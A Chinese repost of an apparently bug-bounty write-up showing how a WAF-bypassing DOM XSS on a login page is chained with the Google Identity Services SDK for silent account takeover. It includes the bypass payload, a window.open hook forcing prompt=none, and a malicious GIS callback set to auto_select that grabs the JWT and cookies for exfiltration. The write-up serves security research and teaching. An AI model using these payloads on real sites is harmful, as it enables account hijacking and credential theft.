文章总结: 本文详述了利用DOMXSS结合GoogleIdentityServices(GIS)SDK实现无感账号接管的方法。作者通过WAF与后端过滤逻辑差异绕过检测,发现缺乏HttpOnly保护的设备Cookie。随后利用Hookwindow.open注入静默认证参数,重写SDK回调并启用auto_select机制,成功自动化劫持JWT令牌与Cookie,证明了GISSDK在XSS环境下的账号接管风险。 综合评分: 87 文章分类: WEB安全,漏洞分析,实战经验,渗透测试,红队
谷歌登录也防不住?实战劫持 GIS SDK 实现无感账号接管
原创
Pwn1
漏洞集萃
2025年12月19日 11:17 山东
免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。
| | | — | | 原文链接 https://blog.voorivex.team/not-so-dirty-dancing-in-gis-sdk |
漏洞发现与初始绕过
在渗透一个系统的时候在其页面发现了 location.href,其中觉得他的 rUrl 参数位置可以尝试注入。
后续在注入的过程中发现了一些过滤,具体过滤规则如下:
过滤:/<>'"\./
对于该方法可以使用:
https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com
绕过构造 XSS。
原理分析:
系统先用 WAF 检查是否存在 javascript: 关键字,如果没匹配到,再由应用后端把 . 删掉(类似 param.replaceAll(".", "") 的神操作)。所以 ja.va.sc... 在绕过检测后,被应用处理成了 javascript:...。
由于这种管道一样的过滤方式、让每次被处理的 payload 不一样了:
【如果缺乏协调地叠加多个安全控制措施,就会造成不一致,而攻击者可以利用这些不一致之处。在本例中,目标采用了“先匹配后替换”的模式——WAF(Web 应用防火墙)负责匹配并阻止 javascript: 协议,同时一个独立的替换函数负责移除点号和其他特殊字符。单独来看,这两个机制都不存在漏洞,但它们的组合却创造了绕过漏洞的机会。这种碎片化的安全策略正是导致可利用的极端情况出现的原因。】
那我们继续寻找可以使用 domxss 的漏洞。
身份验证与突破
对于 XSS 要想进一步的证明其危害,最好的方式就是接管账号。
但是大部分常规的身份 session_id 已经通过 HttpOnly 和 SameSite=Lax(主要限制CSRF)限制了无法进一步的利用,并且我注意只要我切换浏览器登录就会发送验证邮件。
随后在熟悉环境的时候发现还存在一个叫做 dd 的 cookie,这是一个被用识别设备的 cookies,而且这个 cookie 没有相关的 HttpOnly 等安全措施,那么就意味着我们通过这个 cookie 可以实现:
- 1. 因为没有
HttpOnly可以实现获取这个 cookie; - 2. 又因为这个 cookie 是别用来识别设备,我只要反复使用一个 cookie 那么就不会触发双因子验证。
那么我们就把注意力回归到应用的登录流程上。
分析GIS SDK
目标系统的登录流程使用了 Google 的身份服务 SDK (GIS) 来实现 OAuth2。其中我尝试使用重定向等漏洞,但是都被报 invalid_redirect_uri 错误。
我们来了解下 (GIS) SDK: Google 的身份服务 (GIS) SDK 实现了一种独特的 OAuth 2.0 流程,与传统的 OAuth 实现方式截然不同。关键区别在于,GIS 在内部处理整个身份验证流程,并不会向客户端应用程序暴露重定向 URI。
GIS SDK 通过脚本标签加载到应用程序中,该标签会调用 Google 的 JavaScript 库:
<script src="https://accounts.google.com/gsi/client" async defer></script>
这会将全局 google 对象加载到窗口( window.google.accounts.id )上,这个对象会公开 GIS API 方法。
然后,应用程序会使用各种配置参数初始化 SDK:
google.accounts.id.initialize({
client_id: 'YOUR_GOOGLE_CLIENT_ID',
callback: handleCredentialResponse,
login_uri: 'https://target.com/login',
auto_select: false,
cancel_on_tap_outside: true,
context: 'signin',
ux_mode: 'popup',
native_callback: nativeResponseHandler,
prompt_parent_id: 'oneTapDiv',
nonce: 'random_nonce',
state_cookie_domain: 'target.com',
allowed_parent_origin: 'https://target.com',
intermediate_iframe_close_callback: onClose
});
GIS身份验证
GIS 提供了多种触发身份验证的方法:
- • One Tap Prompt (一键提示):
google.accounts.id.prompt(); - • Button Rendering (按钮渲染):
google.accounts.id.renderButton(
document.getElementById("buttonDiv"),
styles
);
GIS 认证流程
- 1. 当触发身份验证时,GIS 不会使用应用程序的重定向 URI,而是使用 Google 自己的中间端点:
redirect_uri始终是gis_transform一个由 Google 控制的内部端点。 - 2. 身份验证成功后,Google 会重定向到
gis/transform端点,该端点:处理授权响应、生成 JWT 凭证令牌。 - 3. 凭证响应将传递到应用程序的回调函数:
function handleCredentialResponse(response) {
// response.credential contains the JWT token with user info
// response.select_by indicates how the credential was selected
// response.client_id contains the Google client ID
const jwt_token = response.credential;
}
攻击 GIS 的难度与切入点
攻击难度:
- 1. 没有客户端可控的
redirect_uri: 由于 GIS 使用gis/transform作为重定向 URI,我们无法对其进行操作,我们上文提到【GIS 不再使用传统的 OAuth2 重定向(浏览器跳转),而是通过postMessage或内部逻辑在 iframe/弹出窗口间传递数据。】 - 2. 使用 JWT 令牌而非授权码: 应用程序接收可验证的已签名 JWT 令牌。
- 3. 所有数据都通过谷歌受控的端点传输。
- 4. SDK 从 Google 的域名加载,防止篡改。
突破点: 最终 Auth2 验证结束之后的还是要将 jwt token 返回给到回调函数,然后由应用的 js 代码继续完成后续的操作,那么我们看看我们可以做点什么:
- 1. 窗口对象访问:
google对象和回调函数位于全局窗口作用域中,因此任何 XSS 攻击都可以访问或覆盖它们。 - 2. 配置篡改:XSS 攻击可以通过恶意回调函数重新初始化 GIS,从而拦截凭据。
- 3. 令牌存储和处理: 如果未妥善保护,JWT 令牌和会话 cookie(例如我们的
ddcookie)可被 JavaScript 访问。
实现自动化
但是这一切的前提都是在完成 auth 认证之后,大家是否还记得我们一开始的 XSS 在什么位置:
https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com
是的,在登陆的位置,我们总不能让受害者刚登陆完又立马登陆了一次吧。
这个时候我们想起来之前的一篇文章,【https://blog.voorivex.team/oauth-non-happy-path-to-ato】这里提到可以使用通过参数 prompt=none 和 authuser=0,让 auth 全程静默操作,没有提示,并且会自动预先选择用户的 Google 帐户。
如何插入两个参数呢? auth 的操作是 GIS SDK 发起的,并不是我发起的。不过!我们现在仍然和 SDK 脚本在同一个浏览器窗口沙盒里,对吧?
所以我们可以通过对整个窗口的 window.open 函数进行 hook 操作。当 GIS SDK 尝试打开窗口时,我们可以拦截 URL 并注入所需的参数:
const originalOpen = window.open;
window.open = function (url, target, features) {
try {
// Only touch Google OAuth / Accounts URLs
if (typeof url === "string" && url.includes("accounts.google.com")) {
const parsedUrl = new URL(url);
// Add or overwrite desired OAuth parameters
parsedUrl.searchParams.set("prompt", "none");
parsedUrl.searchParams.set("authuser", "0");
url = parsedUrl.toString();
console.log("[OAuth Hook] Modified URL:", url);
}
} catch (err) {
console.warn("[OAuth Hook] URL modification failed:", err);
}
// Call the original window.open
return originalOpen.call(window, url, target, features);
};
但是还有一个问题,如果要触发 auth 认证,还需要点击下渲染出来的按钮,但这又是一次额外操作。
等等,我们提到了什么?诸位是不是想到了我们开头提到的 auth 两种触发方式。对的,我们还可以通过一键登陆来实现操作自动选择,google.accounts.id.initialize 函数中的 auto_select 参数:
auto_select: 如果启用,则一键提示将自动关闭,用户无需任何进一步交互即可登录。
这个时候只要再配合上 auto_select 参数,受害者就直接无感触发了 auth 认证,然后我们则可以使用 dom xss 进行窃取 dd cookie 和 Google JWT。
const script = document.createElement('script');
script.src = 'https://accounts.google.com/gsi/client';
script.async = true;
script.defer = true;
// Wait for script to load, then initialize
script.onload = function() {
try {
// Initialize Google Sign-In with malicious callback
google.accounts.id.initialize({
client_id: clientId,
callback: (response) => {
// Extract JWT token
const jwt = response.credential;
// Extract cookies
const cookies = document.cookie;
// Exfiltrate stolen credentials
exfiltrateData(jwt, cookies);
resolve({ jwt, cookies, payload });
},
itp_support: false,
use_fedcm_for_prompt: false,
auto_select: true // Automatically signs in user
});
// Trigger the sign-in prompt
if (window.google && window.google.accounts.id.prompt) {
window.google.accounts.id.prompt(m => {
if (m.isNotDisplayed() || m.isSkippedMoment()) {
console.log('Prompt not displayed or skipped');
}
});
}
} catch (error) {
reject(error);
}
};
script.onerror = function() {
reject(new Error('Failed to load Google Sign-In script'));
};
// Append script to page
document.head.appendChild(script);
就这样!通过将 DOM XSS 与 GIS SDK 操作和 auto_select 参数结合起来,实现了完全自动化的账户接管——除了用户最初点击恶意链接之外,无需任何用户交互。
觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!
👉 往期精选
信息收集最强OSINT姿势:Google一搜,全球程序员的密码、API Key、邮箱全裸奔
用 JADX 静态分析,反手挖出两个高危 ATO
如何发现 OpenAI Atlas的 OAuth泄漏漏洞
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:漏洞集萃 Pwn1《谷歌登录也防不住?实战劫持 GIS SDK 实现无感账号接管》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论